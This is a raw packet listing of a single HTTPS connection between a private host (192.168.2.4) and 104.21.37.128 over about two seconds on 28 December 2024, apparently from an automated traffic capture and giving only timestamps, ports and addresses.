Dec 28, 2024 04:24:23.801471949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.801510096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.848687887 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.986737967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.986757040 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.986813068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.986829996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.986855984 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.986871958 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.988611937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.988627911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.988683939 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.988691092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.988728046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.991137028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.991149902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.991224051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.991230011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.991269112 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.993705034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.993719101 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.993798971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.993805885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.993855953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.995656967 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.995671988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.995722055 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.995727062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.995765924 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.998176098 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.998189926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.998239994 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:23.998245955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:23.998281956 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.000725031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.000741959 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.000809908 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.000817060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.000855923 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.002652884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.002667904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.002724886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.002731085 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.002770901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.075536013 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.187957048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.187975883 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.188019037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.188033104 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.188071012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.188082933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.190114021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.190126896 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.190171003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.190177917 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.190213919 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.191992044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.192014933 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.192048073 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.192054033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.192081928 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.192095995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.194504976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.194519043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.194566965 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.194572926 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.194603920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.197123051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.197137117 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.197174072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.197179079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.197211027 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.199001074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.199017048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.199048042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.199053049 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.199084044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.199100971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.201627016 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.201642036 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.201677084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.201680899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.201714993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.201725960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.204164028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.204184055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.204222918 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.204230070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.204265118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.205812931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.389235020 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.389256001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.389360905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.389375925 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.389429092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.391493082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.391513109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.391556025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.391561031 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.391601086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.393443108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.393460035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.393520117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.393524885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.393568993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.395965099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.395983934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.396023989 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.396028996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.396039963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.396063089 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.398550034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.398567915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.398610115 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.398616076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.398646116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.398658991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.400423050 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.400441885 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.400477886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.400482893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.400511026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.400523901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.402951956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.402965069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.403013945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.403023005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.403059959 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.405536890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.405550957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.405596972 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.405601978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.405641079 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.411691904 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.590523005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.590542078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.590626955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.590647936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.590689898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.592382908 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.592397928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.592458010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.592464924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.592505932 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.594913960 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.594928026 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.594990969 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.594996929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.595050097 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.597496033 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.597510099 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.597575903 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.597583055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.597621918 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.599409103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.599426985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.599498987 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.599507093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.599554062 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.601936102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.601950884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.602009058 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.602015972 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.602057934 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.604518890 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.604540110 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.604595900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.604607105 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.604648113 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.606457949 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.606476068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.606534004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.606543064 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.606583118 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.609508991 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.791855097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.791878939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.791975975 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.791994095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.792042017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.793680906 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.793703079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.793749094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.793755054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.793791056 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.793801069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.796200037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.796215057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.796274900 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.796283960 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.796322107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.798764944 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.798778057 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.798846006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.798852921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.798894882 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.800694942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.800709963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.800766945 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.800774097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.800817966 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.803203106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.803220034 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.803261042 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.803272009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.803286076 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.803307056 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.805810928 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.805829048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.805872917 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.805883884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.805902004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.805917025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.807722092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.807742119 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.807791948 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.807806015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.807846069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.811408043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.993504047 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.993526936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.993724108 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.993741989 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.993787050 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.995058060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.995073080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.995132923 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.995140076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.995178938 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.997575998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.997590065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.997648954 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:24.997654915 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:24.997693062 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.000128984 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.000143051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.000191927 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.000199080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.000230074 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.000242949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.002192974 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.002209902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.002264023 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.002269983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.002309084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.004584074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.004597902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.004647017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.004652977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.004677057 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.004683971 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.007224083 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.007237911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.007288933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.007294893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.007329941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.009105921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.009124994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.009161949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.009166956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.009192944 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.009200096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.012444973 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.194569111 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.194590092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.194621086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.194633007 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.194660902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.194675922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.196434021 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.196449995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.196504116 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.196510077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.196540117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.198952913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.198968887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.199035883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.199042082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.199075937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.201589108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.201603889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.201656103 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.201662064 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.201705933 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.203449965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.203469992 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.203509092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.203515053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.203543901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.203557014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.205965996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.205980062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.206038952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.206044912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.206079960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.208595037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.208611965 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.208659887 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.208668947 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.208703995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.210508108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.210530996 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.210571051 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.210577011 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.210601091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.210612059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.215842962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.395988941 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.396008015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.396086931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.396104097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.396145105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.397821903 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.397836924 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.397912025 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.397919893 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.398045063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.400326014 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.400340080 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.400398970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.400404930 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.400440931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.402944088 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.402960062 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.403018951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.403024912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.403063059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.404843092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.404860973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.404922962 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.404933929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.404973030 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.407325029 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.407341957 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.407401085 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.407412052 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.407449007 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:25.409955978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.409970999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:25.410033941 CET	49752	443	192.168.2.4	104.21.37.128
